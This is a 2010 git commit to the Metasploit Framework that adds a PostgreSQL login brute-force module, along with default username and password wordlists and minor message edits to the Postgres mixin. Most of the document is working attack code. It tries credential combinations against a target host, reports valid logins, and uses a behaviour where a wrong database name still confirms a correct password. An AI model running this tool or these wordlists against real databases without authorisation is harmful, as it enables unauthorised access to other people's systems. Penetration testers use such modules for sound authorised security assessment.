Fixes #769 by implementing a brute force module for Postgres. A couple notes: If you guess wrong at the database name, you still can try to login with a username and password -- you'll get a successful auth, but then get disconnected. So, that's pretty neat.

Also, since Postgres-PR uses the stock TCPSocket object, connection timeouts and other errors take forever. This is avoided in the brute forcer by pre-validating the connection with Rex::Socket, but this is a hack -- it would be better to convert Postgres-PR to a Rex::Socket flavor, so you also get nicer error messages and what all. I did fork it off the main distribute it already anyway, so may as well will open a feature bug on this, but it's pretty low priority.




git-svn-id: file:///home/svn/framework3/trunk@8366 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Tod Beardsley 2010-02-03 21:45:13 +00:00
parent a052340703
commit 6e8e6ef16a
6 changed files with 147 additions and 4 deletions

View File

@ -0,0 +1,5 @@
tiger
postgres
password
admin

View File

@ -0,0 +1,3 @@
postgres
admin

View File

@ -0,0 +1,5 @@
postgres postgres
postgres password
postgres admin
admin admin
admin password

View File

@ -58,10 +58,10 @@ module Exploit::Remote::Postgres
rescue RuntimeError => e
case e.to_s.split("\t")[1]
when "C3D000"
print_error "#{ip}:#{port} Postgres - Bad database name: #{db} (Credentials '#{username}:#{password}' is OK)" if verbose
print_status "#{ip}:#{port} Postgres - Invalid database: #{db} (Credentials '#{username}:#{password}' are OK)" if verbose
return :error_database # Note this means the user:pass is good!
when "C28000"
print_error "#{ip}:#{port} Postgres - Bad username or password: '#{username}:#{password}'" if verbose
print_error "#{ip}:#{port} Postgres - Invalid username or password: '#{username}':'#{password}'" if verbose
return :error_credentials
else
print_error "#{ip}:#{port} Postgres - Error: #{e.inspect}" if verbose
@ -104,7 +104,7 @@ module Exploit::Remote::Postgres
rescue RuntimeError => e
case e.to_s.split("\t")[1] # Deal with some common errors
when "C42601"
print_error "#{ip}:#{port} Postgres - Error: Bad SQL Syntax: '#{sql}'"
print_error "#{ip}:#{port} Postgres - Error: Invalid SQL Syntax: '#{sql}'"
when "C42P01"
print_error "#{ip}:#{port} Postgres - Error: Table does not exist: '#{sql}'"
when "C42703"

View File

@ -25,7 +25,6 @@ class Metasploit3 < Msf::Auxiliary
},
'Author' => [ 'todb' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'URL', 'www.postgresql.org' ]

View File

@ -0,0 +1,131 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Postgres
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
# Creates an instance of this module.
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL Login Utility',
'Description' => %q{
This module attempts to authenticate against a PostgreSQL
instance using username and password combinations indicated
by the USER_FILE, PASS_FILE, and USERPASS_FILE options.
},
'Author' => [ 'todb' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'www.postgresql.org' ]
],
'Version' => '$Revision$'
))
register_options(
[
OptPath.new('USERPASS_FILE', [ false, "File containing (space-seperated) users and passwords, one pair per line", File.join(Msf::Config.install_root, "data", "wordlists", "postgres_default_userpass.txt") ]),
OptPath.new('USER_FILE', [ false, "File containing users, one per line", File.join(Msf::Config.install_root, "data", "wordlists", "postgres_default_user.txt") ]),
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.install_root, "data", "wordlists", "postgres_default_pass.txt") ]),
], self.class)
# Users must use user/pass/userpass files.
deregister_options('USERNAME', 'PASSWORD', 'SQL')
end
# Loops through each host in turn. Note the current IP address is both
# ip and datastore['RHOST']
def run_host(ip)
tried_combos = []
last_response = nil
each_user_pass { |user, pass|
# Stash these in the datastore.
datastore['USERNAME'] = user
datastore['PASSWORD'] = pass
# Don't bother if we've already tried this combination, or if the last time
# we tried we got some kind of connection error.
if not(tried_combos.include?("#{user}:#{pass}") || [:done, :error].include?(last_response))
last_response = do_login(user,pass,datastore['DATABASE'],datastore['VERBOSE'])
else
next
end
tried_combos << "#{user}:#{pass}"
}
end
# Alias for RHOST
def rhost
datastore['RHOST']
end
# Alias for RPORT
def rport
datastore['RPORT']
end
# Test the connection with Rex::Socket before handing
# off to Postgres-PR, since Postgres-PR takes forever
# to return from connection errors. TODO: convert
# Postgres-PR to use Rex::Socket natively to avoid
# this double-connect business.
def test_connection
begin
sock = Rex::Socket::Tcp.create(
'PeerHost' => rhost,
'PeerPort' => rport
)
rescue Rex::ConnectionError
print_error "#{rhost}:#{rport} Connection Error: #{$!}" if datastore['VERBOSE']
raise $!
end
end
# Actually do all the login stuff. Note that "verbose" is really pretty
# verbose, since postgres_login also makes use of the verbose value
# to print diagnostics for other modules.
def do_login(user=nil,pass=nil,database=nil,verbose=false)
begin
test_connection
rescue Rex::ConnectionError
return :done
end
msg = "#{rhost}:#{rport} Postgres -"
print_status("#{msg} Trying username:'#{user}' with password:'#{pass}' against #{rhost}:#{rport} on database '#{database}'") if verbose
result = postgres_login(
:db => database,
:username => user,
:password => pass
)
case result
when :error_database
print_good("#{msg} Success: #{user}:#{pass} (Database '#{database}' failed.)")
return :next_user # This is a success for user:pass!
when :error_credentials
print_error("#{msg} Username/Password failed.") if verbose
return
when :connected
print_good("#{msg} Success: #{user}:#{pass} (Database '#{database}' succeeded.)")
postgres_logout
return :next_user
when :error
print_error("#{msg} Unknown error encountered, quitting.") if verbose
return :done
end
end
end